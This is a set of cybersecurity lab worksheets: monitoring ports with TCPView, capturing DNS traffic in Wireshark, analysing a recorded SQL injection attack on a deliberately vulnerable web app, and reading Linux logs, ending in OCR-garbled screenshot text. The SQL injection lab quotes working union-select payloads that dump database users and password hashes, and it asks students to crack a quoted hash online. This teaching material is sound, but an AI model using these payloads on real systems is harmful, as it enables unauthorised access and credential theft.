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Activity – What's Going On?
Objectives
Identify the processes running on a computer, the protocol they are using, and their local and remote port addresses.
Background / Scenario
For a hacker to establish a connection to a remote computer, a port must be listening on that device. This may be due to infection by malware, or a vulnerability in a legitimate piece of software. A utility, such as TCPView, can be used to detect open ports, monitor them in real-time, and close active ports and processes using them.
Required Resources
PC with Internet access
TCPView software
Download and install the TCPView software.
Click on the link below to reach the download page for TCPView.
http://technet.microsoft.com/en-us/sysinternals/tcpview.aspx
[image: ]
Create a folder on the desktop named “TCPView”.
Extract the contents of the zip to this new folder.
[image: ]
Double-click the Tcpview Application to start it.
Finally, Agree to the software license terms.
[image: ]
Answer the following questions.
a. How many Endpoints are listed?
____________________________________________________________________________________
1. How many are Listening?
____________________________________________________________________________________
c. How many Endpoints are Established?
____________________________________________________________________________________
Use a browser and observe the TCPView window.
Open the Options menu and click “Always on Top”.
Note: Use the Help section of the program to help you answer the following questions.
Open any browser.
What happens in the TCPView window?
____________________________________________________________________________________
____________________________________________________________________________________
Browse to cisco.com.
What happens in the TCPView window?
____________________________________________________________________________________
____________________________________________________________________________________
Close the browser.
What happens in the TCPView window?
____________________________________________________________________________________
____________________________________________________________________________________
What do you think the colors mean?
____________________________________________________________________________________
____________________________________________________________________________________
Note: To close a process directly, right-click the process and choose End Process. Using this method can cause a program or the operating system to become unstable. Only end processes that you know are safe to end. This method can be used to stop malware from communicating.



Lab – Exploring DNS Traffic
Objectives
Part 1: Capture DNS Traffic
Part 2: Explore DNS Query Traffic
Part 3: Explore DNS Response Traffic
Background / Scenario
Wireshark is an open source packet capture and analysis tool. Wireshark gives a detailed breakdown of the network protocol stack. Wireshark allows you to filter traffic for network troubleshooting, investigate security issues, and analyze network protocols. Because Wireshark allows you to view the packet details, it can be used as a reconnaissance tool for an attacker.
In this lab, you will install Wireshark on a Windows system and use Wireshark to filter for DNS packets and view the details of both DNS query and response packets.
Required Resources
1 Windows PC with Internet access and Wireshark installed
Part 2: Capture DNS Traffic
Step 1: Download and install Wireshark.
a. Install Wireshark for Windows.
b. Wireshark can be downloaded from www.wireshark.org.
c. Choose the software version you need based on your PC’s architecture and operating system. For instance, if you have a 64-bit PC running Windows, choose Windows Installer (64-bit).
d. After making a selection, the download should start. The location of the downloaded file depends on the browser and operating system that you use. For Windows users, the default location is the Downloads folder.
e. The downloaded file is named Wireshark-win64-x.x.x.exe, where x represents the version number. Double-click the file to start the installation process.
Respond to any security messages that may display on your screen. If you already have a copy of Wireshark on your PC, you will be prompted to uninstall the old version before installing the new version. It is recommended that you remove the old version of Wireshark prior to installing another version. Click Yes to uninstall the previous version of Wireshark.
[image: ]
f. If this is the first time to install Wireshark, or after you have completed the uninstall process, you will navigate to the Wireshark Setup wizard. Click Next.
g. Continue advancing through the installation process. Click I Agree when the License Agreement window displays.
h. Keep the default settings on the Choose Components window and click Next.
[image: ]
i. Choose your desired shortcut options and click Next.
j. You can change the installation location of Wireshark, but unless you have limited disk space, it is recommended that you keep the default location. Click Next to continue.
k. To capture live network data, WinPcap must be installed on your PC. If WinPcap is already installed on your PC, the Install check box will be unchecked. If your installed version of WinPcap is older than the version that comes with Wireshark, it is recommended that you allow the newer version to be installed by clicking the Install WinPcap x.x.x (version number) check box.
Finish the WinPcap Setup Wizard if installing WinPcap and accept the license agreement if necessary. Click Next to continue.
l. Do NOT install USBPcap for normal traffic capture. Do NOT select the checkbox to install USBPcap. USBPcap is experimental, and it could cause USB problems on your PC. Click Install to continue.
[image: ]
m. Wireshark starts installing its files and a separate window displays with the status of the installation. Click Next when the installation is complete.
n. Click Finish to complete the Wireshark install process. Reboot the computer if necessary.
Step 2: Capture DNS traffic.
a. Click Start and search for Wireshark. Open Wireshark and start a Wireshark capture by double clicking a network interface with traffic. In this example, Ethernet is the network interface with traffic.
[image: ]
b. Click Start and search for Command Prompt. Open Command Prompt.
c. In the Command Prompt, type ipconfig /flushdns and press Enter to clear the DNS cache.
[image: ]
d. Type nslookup and press Enter to enter the interactive mode.
e. Enter the domain name of a website. The domain name www.cisco.com is used in this example.
[image: ]
f. Type exit when finished. Close the command prompt.
g. Click Stop capturing packets to stop the Wireshark capture.
Part 3: Explore DNS Query Traffic
a. Observe the traffic captured in the Wireshark Packet List pane. Enter udp.port == 53 in the filter box and click the arrow (or press enter) to display only DNS packets.
[image: ]
b. Select the DNS packet labeled Standard query 0x0002 A www.cisco.com.
c. In the Packet Details pane, notice this packet has Ethernet II, Internet Protocol Version 4, User Datagram Protocol and Domain Name System (query).
d. Expand Ethernet II to view the details. Observe the source and destination fields.
[image: ]
What are the source and destination MAC addresses? Which network interfaces are these MAC addresses associated with?
____________________________________________________________________________________
____________________________________________________________________________________
e. Expand Internet Protocol Version 4. Observe the source and destination IPv4 addresses.
[image: ]
What are the source and destination IP addresses? Which network interfaces are these IP addresses associated with?
____________________________________________________________________________________
____________________________________________________________________________________
f. Expand the User Datagram Protocol. Observe the source and destination ports.
[image: ]
What are the source and destination ports? What is the default DNS port number?
____________________________________________________________________________________
____________________________________________________________________________________
g. Open a Command Prompt and enter arp –a and ipconfig /all to record the MAC and IP addresses of the PC.
[image: ]
Compare the MAC and IP addresses in the Wireshark results to the results from the ipconfig /all results. What is your observation?
____________________________________________________________________________________
____________________________________________________________________________________
h. Expand Domain Name System (query) in the Packet Details pane. Then expand the Flags and Queries.
i. Observe the results. The flag is set to do the query recursively to query for the IP address to www.cisco.com.
[image: ]
Part 4: Explore DNS Response Traffic
a. Select the corresponding response DNS packet labeled Standard query response 0x000# A www.cisco.com.
[image: ]
What are the source and destination MAC and IP addresses and port numbers? How do they compare to the addresses in the DNS query packets?
____________________________________________________________________________________
____________________________________________________________________________________
b. Expand Domain Name System (response). Then expand the Flags, Queries, and Answers.
c. Observe the results. Can the DNS server do recursive queries? 	
[image: ]
d. Observe the CNAME and A records in the Answers details. How do the results compare to nslookup results?
____________________________________________________________________________________
Reflection
From the Wireshark results, what else can you learn about the network when you remove the filter?
_______________________________________________________________________________________
_______________________________________________________________________________________
How can an attacker use Wireshark to compromise your network security?
_______________________________________________________________________________________
_______________________________________________________________________________________
Lab – Attacking a mySQL Database
Objectives
In this lab, you will view a PCAP file from a previous attack against a SQL database.
Background / Scenario
[bookmark: _Toc492961008][bookmark: _Toc492974528][bookmark: _Toc492974581][bookmark: _Toc494171525]SQL injection attacks allow malicious hackers to type SQL statements in a web site and receive a response from the database. This allows attackers to tamper with current data in the database, spoof identities, and miscellaneous mischief.
A PCAP file has been created for you to view a previous attack against a SQL database. In this lab, you will view the SQL database attacks and answer the questions.
Required Resources
CyberOps Workstation Virtual Machine
Internet access
Part 5: Open the PCAP file and follow the SQL database attacker
You will use Wireshark, a common network packet analyzer, to analyze network traffic. After starting Wireshark, you will open a previously saved network capture and view a step by step SQL injection attack against a SQL database.
Step 1: Open Wireshark and load the PCAP file.
The Wireshark application can be opened using a variety of methods on a Linux workstation.
a. Start the CyberOps Workstation VM.
b. Click on Applications > CyberOPS > Wireshark on the desktop and browse to the Wireshark application.
[image: ]
c. In the Wireshark application, click Open in the middle of the application under Files.
[image: ]
d. Browse through the /home/analyst/ directory and search for lab.support.files. In the lab.support.files directory and open the SQL_Lab.pcap file.
[image: ]
e. The PCAP file opens within Wireshark and displays the captured network traffic. This capture file extends over an 8-minute (441 second) period, the duration of this SQL injection attack. 
[image: ]
What are the two IP addresses involved in this SQL injection attack based on the information displayed?
____________________________________________________________________________________
Step 2: View the SQL Injection Attack.
In this step, you will be viewing the beginning of an attack.
a. Within the Wireshark capture, right-click line 13 and select Follow HTTP Stream. This will be very helpful in following the data stream as the application layer sees it. Line 13 was chosen because it is a GET HTTP request.
[image: ]
The source traffic is shown in red. The source has sent a GET request to host 10.0.2.15. In blue, the destination device is responding back to the source.
[image: ]
b. Click Find and enter 1=1. Search for this entry. When the text is located, click Cancel in the Find text search box. The string 1=1 
[image: ]
c. The attacker has entered a query (1=1) into a UserID search box on the target 10.0.2.15 to see if the application is vulnerable to SQL injection. Instead of the application responding with a login failure message, it responded with a record from a database. The attacker has verified they can input an SQL command and the database will respond. The search string 1=1 creates an SQL statement that will be always true. In the example, it does not matter what is entered into the field, it will always be true.
[image: ]
d. Close the Follow HTTP Stream window.
e. Click Clear to display the entire Wireshark conversation.
[image: ]
Step 3: The SQL Injection Attack continues...
In this step, you will be viewing the continuation of an attack.
a. Within the Wireshark capture, right-click line 19, and select Follow HTTP Stream.
[image: ]
b. Click Find and enter 1=1. Search for this entry. When the text is located, click Cancel in the Find text search box.
[image: ]
c. The attacker has entered a query (1’ or 1=1 union select database(), user()#) into a UserID search box on the target 10.0.2.15. Instead of the application responding with a login failure message, it responded with the following information:
[image: ]
The database name is dvwa and the database user is dvwa@localhost. There are also multiple user accounts being displayed.
d. Close the Follow HTTP Stream window.
e. Click “Clear” to display the entire Wireshark conversation.
Step 4: The SQL Injection Attack provides system information.
The attacker continues and starts targeting more specific information.
a. Within the Wireshark capture, right-click line 22 and select Follow HTTP Stream. In red, the source traffic is shown and is sending the GET request to host 10.0.2.15. In blue, the destination device is responding back to the source.
[image: ]
b. Click Find and type in 1=1. Search for this entry. When the text is located, click Cancel in the Find text search box.
[image: ]
c. The attacker has entered a query (1’ or 1=1 union select null, version ()#) into a UserID search box on the target 10.0.2.15 to locate the version identifier.
[image: ]
What is the version?
____________________________________________________________________________________
d. Close the Follow HTTP Stream window.
e. Click Clear to display the entire Wireshark conversation.
Step 5: The SQL Injection Attack and Table Information.
The attacker knows that there is a large number of SQL tables that are full of information. The attacker attempts to find them.
a. Within the Wireshark capture, right-click on line 25 and select Follow HTTP Stream. The source is shown in red. It has sent a GET request to host 10.0.2.15. In blue, the destination device is responding back to the source.
[image: ]
b. Click Find and enter users. Search for the entry displayed below. When the text is located, click Cancel in the Find text search box.
[image: ]
c. The attacker has entered a query (1’or 1=1 union select null, table_name from information_schema.tables#) into a UserID search box on the target 10.0.2.15 to view all the tables in the database. This provides a huge output of many tables, as the attacker specified “null” without any further specifications.
[image: ]
What would the modified command of (1' OR 1=1 UNION SELECT null, column_name FROM INFORMATION_SCHEMA.columns WHERE table_name='users') do for the attacker?
____________________________________________________________________________________
____________________________________________________________________________________
d. Close the Follow HTTP Stream window.
e. Click Clear to display the entire Wireshark conversation.
Step 6: The SQL Injection Attack Concludes.
The attack ends with the best prize of all; password hashes.
a. Within the Wireshark capture, right-click line 28 and select Follow HTTP Stream. The source is shown in red. It has sent a GET request to host 10.0.2.15. In blue, the destination device is responding back to the source.
[image: ]
b. Click Find and type in 1=1. Search for this entry. When the text is located, click Cancel in the Find text search box.
[image: ]
The attacker has entered a query (1’or 1=1 union select user, password from users#) into a UserID search box on the target 10.0.2.15 to pull usernames and password hashes!
[image: ]
Which user has the password hash of 8d3533d75ae2c3966d7e0d4fcc69216b?
____________________________________________________________________________________
Using a website such as https://crackstation.net/, copy the password hash into the password hash cracker and get cracking.
What is the plain-text password?
____________________________________________________________________________________
____________________________________________________________________________________
c. Close the Follow HTTP Stream window. Close any open windows.
Reflection
What is the risk of having platforms use the SQL langauge?
_______________________________________________________________________________________
_______________________________________________________________________________________
Browse the Internet and perform a search on “prevent SQL injection attacks”. What are 2 methods or steps that can be taken to prevent SQL injection attacks?
_______________________________________________________________________________________
_______________________________________________________________________________________
Lab – Reading Server Logs
Objectives
Part 1: Reading Log Files with Cat, More, and Less
Part 2: Log Files and Syslog
Part 3: Log Files and Journalctl
Background / Scenario
Log files are an important tool for troubleshooting and monitoring. Different application generates different log files, each one containing its own set of fields and information. While the field structure may change between log files, the tools used to read them are mostly the same. In this lab, you will learn about common tools used to read log file and practice using them.
Required Resources
CyberOps Workstation Virtual Machine
Internet access
Part 6: Reading Log Files with Cat, More, Less, and Tail
Log files are files used to record specific events triggered by applications, services or the operating system itself. Usually stored as plain-text, log files are an indispensable resource for troubleshooting.
Step 1: Opening Log Files.
Log files commonly contain plain-text information which can be viewed by practically any program able to handle text (text editors, for example). However, because of convenience, usability, and speed, a few tools are more commonly used than others. This section focuses on four command-line-based programs: cat, more, less, and tail.
cat, derived from the word ‘concatenate’, is a UNIX, command-line-based tool used to read and display the contents of a file on the screen. Because of its simplicity and it can open a text file and display it in a text-only terminal, cat is widely used to this day.
a. Start the CyberOps Worstation VM and open a terminal window.
b. From the terminal window, issue the command below to display the contents of the logstash-tutorial.log file, located in the /home/analyst/lab.support.files/ folder:
analyst@secOps ~$ cat /home/analyst/lab.support.files/logstash-tutorial.log
The contents of the file should scroll through the terminal window until the all contents have been displayed.
What is a drawback of using cat with large text files?
____________________________________________________________________________________
____________________________________________________________________________________
Another popular tool for visualizing log files is more. Similar to cat, more is also a UNIX command-line-based tool that can open a text-based file and display the file contents on the screen. The main difference between cat and more is that more supports page breaks, allowing the user to view the contents of a file, one page at a time. This can be done using the space bar to display the next page.
c. From the same terminal window, use the command below to display the contents of the logstash-tutorial.log file again. This time using more:
analyst@secOps ~$ more /home/analyst/lab.support.files/logstash-tutorial.log
The contents of the file should scroll through the terminal window and stop when one page is displayed. Press the space bar to advance to the next page. Press enter to display the next line of text.
What is the drawback of using more?
____________________________________________________________________________________
____________________________________________________________________________________
Building on the functionality of cat and more, the less tool allows the contents of a file to be displayed page by page, while also allowing the user the choice of viewing previously displayed pages.
d. From the same terminal window, use less to display the contents the logstash-tutorial.log file again:
analyst@secOps ~$ less /home/analyst/lab.support.files/logstash-tutorial.log
The contents of the file should scroll through the terminal window and stop when one page is displayed. Press the space bar to advance to the next page. Press enter to display the next line of text. Use the up and down arrow keys to move back and forth through the text file.
Use the “q” key on your keyboard to exit the less tool.
e. The tail command displays the end of a text file. By default, tail displays the last ten lines of the file.
Use tail to display the last ten lines of the /home/analyst/lab.support.files/logstash-tutorial.log file.
analyst@secOps ~$ tail /home/analyst/lab.support.files/logstash-tutorial.log
218.30.103.62 - - [04/Jan/2015:05:28:43 +0000] "GET /blog/geekery/xvfb-firefox.html HTTP/1.1" 200 10975 "-" "Sogou web spider/4.0(+http://www.sogou.com/docs/help/webmasters.htm#07)"
218.30.103.62 - - [04/Jan/2015:05:29:06 +0000] "GET /blog/geekery/puppet-facts-into-mcollective.html HTTP/1.1" 200 9872 "-" "Sogou web spider/4.0(+http://www.sogou.com/docs/help/webmasters.htm#07)"
198.46.149.143 - - [04/Jan/2015:05:29:13 +0000] "GET /blog/geekery/disabling-battery-in-ubuntu-vms.html?utm_source=feedburner&utm_medium=feed&utm_campaign=Feed%3A+semicomplete%2Fmain+%28semicomplete.com+-+Jordan+Sissel%29 HTTP/1.1" 200 9316 "-" "Tiny Tiny RSS/1.11 (http://tt-rss.org/)"
198.46.149.143 - - [04/Jan/2015:05:29:13 +0000] "GET /blog/geekery/solving-good-or-bad-problems.html?utm_source=feedburner&utm_medium=feed&utm_campaign=Feed%3A+semicomplete%2Fmain+%28semicomplete.com+-+Jordan+Sissel%29 HTTP/1.1" 200 10756 "-" "Tiny Tiny RSS/1.11 (http://tt-rss.org/)"
218.30.103.62 - - [04/Jan/2015:05:29:26 +0000] "GET /blog/geekery/jquery-interface-puffer.html%20target= HTTP/1.1" 200 202 "-" "Sogou web spider/4.0(+http://www.sogou.com/docs/help/webmasters.htm#07)"
218.30.103.62 - - [04/Jan/2015:05:29:48 +0000] "GET /blog/geekery/ec2-reserved-vs-ondemand.html HTTP/1.1" 200 11834 "-" "Sogou web spider/4.0(+http://www.sogou.com/docs/help/webmasters.htm#07)"
66.249.73.135 - - [04/Jan/2015:05:30:06 +0000] "GET /blog/web/firefox-scrolling-fix.html HTTP/1.1" 200 8956 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 6_0 like Mac OS X) AppleWebKit/536.26 (KHTML, like Gecko) Version/6.0 Mobile/10A5376e Safari/8536.25 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)"
86.1.76.62 - - [04/Jan/2015:05:30:37 +0000] "GET /projects/xdotool/ HTTP/1.1" 200 12292 "http://www.haskell.org/haskellwiki/Xmonad/Frequently_asked_questions" "Mozilla/5.0 (X11; Linux x86_64; rv:24.0) Gecko/20140205 Firefox/24.0 Iceweasel/24.3.0"
86.1.76.62 - - [04/Jan/2015:05:30:37 +0000] "GET /reset.css HTTP/1.1" 200 1015 "http://www.semicomplete.com/projects/xdotool/" "Mozilla/5.0 (X11; Linux x86_64; rv:24.0) Gecko/20140205 Firefox/24.0 Iceweasel/24.3.0"
86.1.76.62 - - [04/Jan/2015:05:30:37 +0000] "GET /style2.css HTTP/1.1" 200 4877 "http://www.semicomplete.com/projects/xdotool/" "Mozilla/5.0 (X11; Linux x86_64; rv:24.0) Gecko/20140205 Firefox/24.0 Iceweasel/24.3.0"
Step 2: Actively Following Logs.
In some situations, it is desirable to monitor log files as log entries are written to the log files. For those cases, the tail -f command is very helpful.
a. Use tail -f to actively monitor the contents of the /var/log/syslog file:
analyst@secOps ~$ sudo tail –f /home/analyst/lab.support.files/logstash-tutorial.log
What is different in the output of tail and tail -f? Explain.
____________________________________________________________________________________
____________________________________________________________________________________
b. To watch tail –f in action, open a second terminal window. Arrange your display so you can see both terminal windows. Re-size the windows so you can see them both at the same, as shown in the image below:
[image: ]
The terminal window on the top is running tail -f to monitor the /home/analyst/lab.support.files/logstash-tutorial.log file. Use the terminal window on the bottom to add information to the monitored file.
To make it easier to visualize, select the top terminal window (the one running tail -f) and press enter a few times. This will add a few lines between the current contents of the file and the new information to be added.
c. Select the bottom terminal window and enter the following command:
analyst@secOps ~$ echo "this is a new entry to the monitored log file" >> lab.support.files/logstash-tutorial.log
The command above appends the "this is a new entry to the monitored log file" message to the /home/analyst/lab.support.files/logstash-tutorial.log file. Because tail –f is monitoring the file at the moment a line is added to the file. The top window should display the new line in real-time.
d. Press CTRL + C to stop the execution of tail -f and return to the shell prompt.
e. Close one of the two terminal windows.
Part 7: Log Files and Syslog
Because of their importance, it is common practice to concentrate log files in one monitoring computer. Syslog is a system designed to allow devices to send their log files to a centralized server, known as syslog server. Clients communicate to a syslog server using the syslog protocol. Syslog is commonly deployed and supports practically all computer platforms.
The CyberOps Worstation VM generates operating system level log files and hands them over to syslog.
a. Use the cat command as root to list the contents of the /var/log/syslog file. This file holds the log entries that are generated by the CyberOps Worstation VM operating system and sent to the syslog service.
analyst@secOps ~$ sudo cat /var/log/syslog
[sudo] password for analyst:
Feb  7 13:23:15 secOps kernel: [    5.458959] psmouse serio1: hgpk: ID: 10 00 64
Feb  7 13:23:15 secOps kernel: [    5.467285] input: ImExPS/2 BYD TouchPad as /devices/platform/i8042/serio1/input/input6
Feb  7 13:23:15 secOps kernel: [    5.502469] RAPL PMU: API unit is 2^-32 Joules, 4 fixed counters, 10737418240 ms ovfl timer
Feb  7 13:23:15 secOps kernel: [    5.502476] RAPL PMU: hw unit of domain pp0-core 2^-0 Joules
Feb  7 13:23:15 secOps kernel: [    5.502478] RAPL PMU: hw unit of domain package 2^-0 Joules
Feb  7 13:23:15 secOps kernel: [    5.502479] RAPL PMU: hw unit of domain dram 2^-0 Joules
Feb  7 13:23:15 secOps kernel: [    5.502480] RAPL PMU: hw unit of domain pp1-gpu 2^-0 Joules
Feb  7 13:23:15 secOps kernel: [    5.672547] ppdev: user-space parallel port driver
Feb  7 13:23:15 secOps kernel: [    5.709000] pcnet32 0000:00:03.0 enp0s3: renamed from eth0
Feb  7 13:23:16 secOps kernel: [    6.166738] pcnet32 0000:00:03.0 enp0s3: link up, 100Mbps, full-duplex
Feb  7 13:23:16 secOps kernel: [    6.706058] random: crng init done
Feb  7 13:23:18 secOps kernel: [    8.318984] floppy0: no floppy controllers found
Feb  7 13:23:18 secOps kernel: [    8.319028] work still pending
Feb  7 14:26:35 secOps kernel: [ 3806.118242] hrtimer: interrupt took 4085149 ns
Feb  7 15:02:13 secOps kernel: [ 5943.582952] pcnet32 0000:00:03.0 enp0s3: link down
Feb  7 15:02:19 secOps kernel: [ 5949.556153] pcnet32 0000:00:03.0 enp0s3: link up, 100Mbps, full-duplex
Why did the cat command have to be executed as root?
____________________________________________________________________________________
____________________________________________________________________________________
b. Notice that the /var/log/syslog file only stores the most recent log entries. To keep the syslog file small, the operating system periodically rotates the log files, renaming older log files as syslog.1, syslog.2, and so on.
Use the cat command to list older syslog files:
analyst@secOps ~$ sudo cat /var/log/syslog.2
analyst@secOps ~$ sudo cat /var/log/syslog.3
analyst@secOps ~$ sudo cat /var/log/syslog.4
Can you think of a reason why it is so important to keep the time and date of computers correctly synchronized?
____________________________________________________________________________________
____________________________________________________________________________________
Part 8: Log Files and Journalctl
Another popular log management system is known as journal. Managed by the journald daemon, the system is designed to centralize the management of logs regardless of where the messages are originating. In the context of this lab, the most evident feature of the journal system daemon is the use of append-only binary files serving as its log files.
Step 1: Running journalctl with no options.
a. To look at the journald logs, use the journalctl command. The journalctl tool interprets and displays the log entries previously stored in the journal binary log files.
analyst@secOps ~$ journalctl
-- Logs begin at Fri 2014-09-26 14:13:12 EDT, end at Tue 2017-02-07 13:23:29 ES
Sep 26 14:13:12 dataAnalyzer systemd[1087]: Starting Paths.
Sep 26 14:13:12 dataAnalyzer systemd[1087]: Reached target Paths.
Sep 26 14:13:12 dataAnalyzer systemd[1087]: Starting Timers.
Sep 26 14:13:12 dataAnalyzer systemd[1087]: Reached target Timers.
Sep 26 14:13:12 dataAnalyzer systemd[1087]: Starting Sockets.
Sep 26 14:13:12 dataAnalyzer systemd[1087]: Reached target Sockets.
Sep 26 14:13:12 dataAnalyzer systemd[1087]: Starting Basic System.
Sep 26 14:13:12 dataAnalyzer systemd[1087]: Reached target Basic System.
Sep 26 14:13:12 dataAnalyzer systemd[1087]: Starting Default.
Sep 26 14:13:12 dataAnalyzer systemd[1087]: Reached target Default.
Sep 26 14:13:12 dataAnalyzer systemd[1087]: Startup finished in 18ms.
Sep 26 14:14:24 dataAnalyzer systemd[1087]: Stopping Default.
Sep 26 14:14:24 dataAnalyzer systemd[1087]: Stopped target Default.
Sep 26 14:14:24 dataAnalyzer systemd[1087]: Stopping Basic System.
Sep 26 14:14:24 dataAnalyzer systemd[1087]: Stopped target Basic System.
Sep 26 14:14:24 dataAnalyzer systemd[1087]: Stopping Paths.
Sep 26 14:14:24 dataAnalyzer systemd[1087]: Stopped target Paths.
Sep 26 14:14:24 dataAnalyzer systemd[1087]: Stopping Timers.
Sep 26 14:14:24 dataAnalyzer systemd[1087]: Stopped target Timers.
Sep 26 14:14:24 dataAnalyzer systemd[1087]: Stopping Sockets.
<output omitted>
Note: Running journalctl as root will display more detailed information.
b. Use CTRL+C to exit the display.
Step 2: Journalctl and a few options.
Part of of the power of using journalctl lies on its options.
a. Use journalctl -utc to display all timestamps in UTC time:
analyst@secOps ~$ sudo journalctl –utc
b. Use journalctl -b to display log entries recorded during the last boot:
analyst@secOps ~$ sudo journalctl –b
Feb 07 08:23:13 secOps systemd-journald[172]: Time spent on flushing to /var is
Feb 07 08:23:13 secOps kernel: Linux version 4.8.12-2-ARCH (builduser@andyrtr) 
Feb 07 08:23:13 secOps kernel: x86/fpu: Supporting XSAVE feature 0x001: 'x87 fl
Feb 07 08:23:13 secOps kernel: x86/fpu: Supporting XSAVE feature 0x002: 'SSE re
Feb 07 08:23:13 secOps kernel: x86/fpu: Supporting XSAVE feature 0x004: 'AVX re
Feb 07 08:23:13 secOps kernel: x86/fpu: xstate_offset[2]:  576, xstate_sizes[2]
Feb 07 08:23:13 secOps kernel: x86/fpu: Enabled xstate features 0x7, context si
Feb 07 08:23:13 secOps kernel: x86/fpu: Using 'eager' FPU context switches.
Feb 07 08:23:13 secOps kernel: e820: BIOS-provided physical RAM map:
<output omitted>
c. Use journalctl to specify the service and timeframe for log entries. The command below shows all nginx service logs recorded today:
analyst@secOps ~$ sudo journalctl -u nginx.service --since today
d. Use the -k switch to display only messages generated by the kernel:
analyst@secOps ~$ sudo journalctl –k
e. Similar to tail -f described above, use the -f switch to actively follow the logs as they are being written:
analyst@secOps ~$ sudo journalctl –f
Reflection
Compare Syslog and Journald. What are the advantages and disadvantages of each?
_______________________________________________________________________________________
_______________________________________________________________________________________
_______________________________________________________________________________________
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A Follow HTTP Stream (tcp.stream eq 1)
Stream Content

GET /dvwa/vulnerabilities/sqli/?id=1%30185ubni.
Host: 10.0.2.15

User-Agent: Mozilla/s,0 (X11; Linux i686; rv:50.0) Gecko/20100101 Firefox/50.0
Accept: text/htnl,application/xhtml+xnl,application/xnl;q=0.9,%/%;q=0.8
Accept-Language: en-US, en;g=0.5

Accept-Encoding: gzip, deflate

Referer: http://10.0.2.15/dvwa/vulnerabilities/sqli/

Cookie: security=low: PHPSESSID=nl2n7dotdremskondisg2us1s?

Connection: keep-alive

Upgrade-Insecure-Requests: 1

ubnit HTTP/1.1

HTTP/1.1 200 0K

Date: Mon, 06 Feb 2017 14:18:22 GHT
Server: Apache/2.4.18 (Ubuntu)

Expires: Tue, 23 Jun 2009 12:00:00 GMT
Cache-Control: no-cache, must-revalidate
Pragna: no-cache

Vary: Accept-Encoding
Content-Encoding: gz1p
Content-Length: 1443
Keep-Alive: timeout=5, ma
Connection: Keep-Alive
Content-Type: text/html;charset=utf-8
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A Follow HTTP Stream (tcp.stream eq 1)
e —

GET /dvwa/vulnerabilities/sqli/?id=1%301&5ubit=5ubnit HTTP/1.1
Host: 10.0.2.15

User-Agent: Mozilla/s,0 (X11; Linux i686; rv:50.0) Gecko/20100101 Firefox/50.0

Accept: text/htnl,application/xhtml+xnl,application/xnl;q=0.9,%/%;
Accept-Language: en-US, en;g=0.5

Accept-Encoding: gzip, deflate

Referer: http://10.0.2.15/dvwa/vulnerabilities/sqli/

Cookie: security=low: PHPSESSID=nl2n7dotdremskondisg2us1s?
Connection: keep-alive

Upgrade-Insecure-Requests: 1

HTTP/1.1 200 0K

Date: Mon, 6 Feb 2017 14:18:2)
Server: Apache/2.4.18 (Ubuntu)
Expires: Tue, 23 Jun 2009 12
Cache-Control: no-cache, must-| find text
Pragna: no-cache

Vary: Accept-Encoding
Content-Encoding: gz1p
Content-Length: 1443
Keep-Alive: timeout=s, max=100
Connection: Keep-Alive
Content-Type: text/htnl;charset=utf-8

Entire conversation (5394 bytes)

Bsavens | Benne | Oascr eacoic Hex Dump

Help BB Filter Out This Stream

CArrays

X Close
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A Follow HTTP Stream (tcp.stream eq 1)

tream Content

.<div class="vulnerable_code_area">

..<form action="#" method="GET">
<p>
_User ID:

“text” size="15" name="id">
"submit" name="Submit" value="Submit">

_<h2>More Informations</h2>
L<ul>

_.<li><a href="http://wn.securitean. con/securityreviews/SOPONIPTGE . htnl"
target="_blank">http://ww. securitean. con/securi tyreviews/SDPONIPT6E. html</a></1i>

. -<li><a href="https://en.vikipedia.org/wiki/SQL_injection” target="_blank">https://
en.wikipedia.org/wiki/SQL_injection</a></1i>

_.<li><a href="http://ferruh.mavituna. con/sql-injection-cheatsheet-oku/"
target="_blank">http://ferruh.navituna.con/sql-injection-cheatsheet-oku/</a></Li>

. -<li><a href="http://pentestnonkey.net/cheat-sheat/sql-injection/mysql-sql-injection-
cheat-sheet” target="_blank">http://pentestmonkey.net/cheat-sheet/sal-injection/nysql-

Entire conversation (5394 bytes)

QFnd | Toavers | Bermt  Oascl  (OEDC  OHexoump  ()CAmays  (8)Raw

elp [ er out Ths Sream || X Close
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4 SQL_Lab.pcap [Wireshark 2.2.2]

@eAams Biixg Q¢r v a2y BB el @8

Flter.

Apply  Save

tep.stream eq 1 - xpresson

No Time Source Destination Protocol Length Info

14 174.254581 10.0.2.15 10.0.2.4 TP 66 80-35638 [ACK] Sel
15 174.257989  10.0.2.15 10.0.2.4 HTTP 1861 HTTP/1.1 200 0K (text/html)
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A Follow HTTP Stream (tcp.stream eq 3)

Stream Content

e

GET /dvwa/vulnerabilities/sqli/?1d=1%27+0r+1%3D1+union+select+databases28%29%2C+users28%

29%23&Submit=Submit HTTP/1.1
Host: 10.0.2.15

User-Agent: Mozilla/s,0 (X11; Linux i686; rv:50.0) Gecko/20100101 Firefox/50.0
Accept: text/htnl,application/xhtml+xnl,application/xnl;q=0.9,%/%;q=0.8

Accept-Language: en-US, en;g=0.5
Accept-Encoding: gzip, deflate

Referer: http://10.0.2.15/dvwa/vulnerabilities/sqli/?id=1%27+0r+%270%27%30%270

+&Submi t=submat

Cookie: security=low; PHPSESSID=nl2n7dot4remskondisg2us1s7

Connection: keep-alive
Upgrade-Insecure-Requests: 1

HTTP/1.1 200 0K

Date: Mon, 06 Feb 2017 14:20:05 GHT
Server: Apache/2.4.18 (Ubuntu)
Expires: Tue, 23 Jun 2009 12:00:00 GMT
Cache-Control: no-cache, must-revalidate
Pragna: no-cache

Vary: Accept-Encoding
Content-Encoding: gz1p

Content-Length: 1537

Keep-Alive: timeout=s, max=100
Connection: Keep-Alive

Content-Type: text/html;charset=utf-8

Entire conversation (6532 bytes)

3

Qnd | Bsaveas | Beom | Oasan

Help

Oescoic () Hex oump

[ Fiter Out This stream

O camays

(@ Raw

3¢ Close
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A Follow HTTP Stream (tcp.stream eq 3) + 0

tream Content

.<div class="vulnerable_code_area">
\.<form action="#" method="GET">

<>
_User 10:
I<input type='text" size="15" name='id">
\<input type="submit" name="Submit" valu
</p>

“Submit”>

. .</forn>
©\<presIp: 1 or [E union select database(), user()#<br />First name: adnin<br /
Surnane: admine/pres<presID: 1° or 1o1 union select database(), user()#<br /arirst
name: Gordon<br /-Surname: Brown</pres<pre=ID: 1' or 1-1 union select database(), user
()#<br />First name: Hack<br />Surname: Me</pre<pre>ID: 1' or 11 union select database
(), user()#<br j=First name: pe iz P<presID: 1' or 1-1 union
select database(), user()#<br | M Wireshark: Find te St g 1 o

1=1 union select database(), u: />Surname:
ocetbeatimsterpren o

L</div>

<haswors formations/hes

L<ul>

https://en.wikipedia.org/wiki/SQL_injection” target="_blank">https://
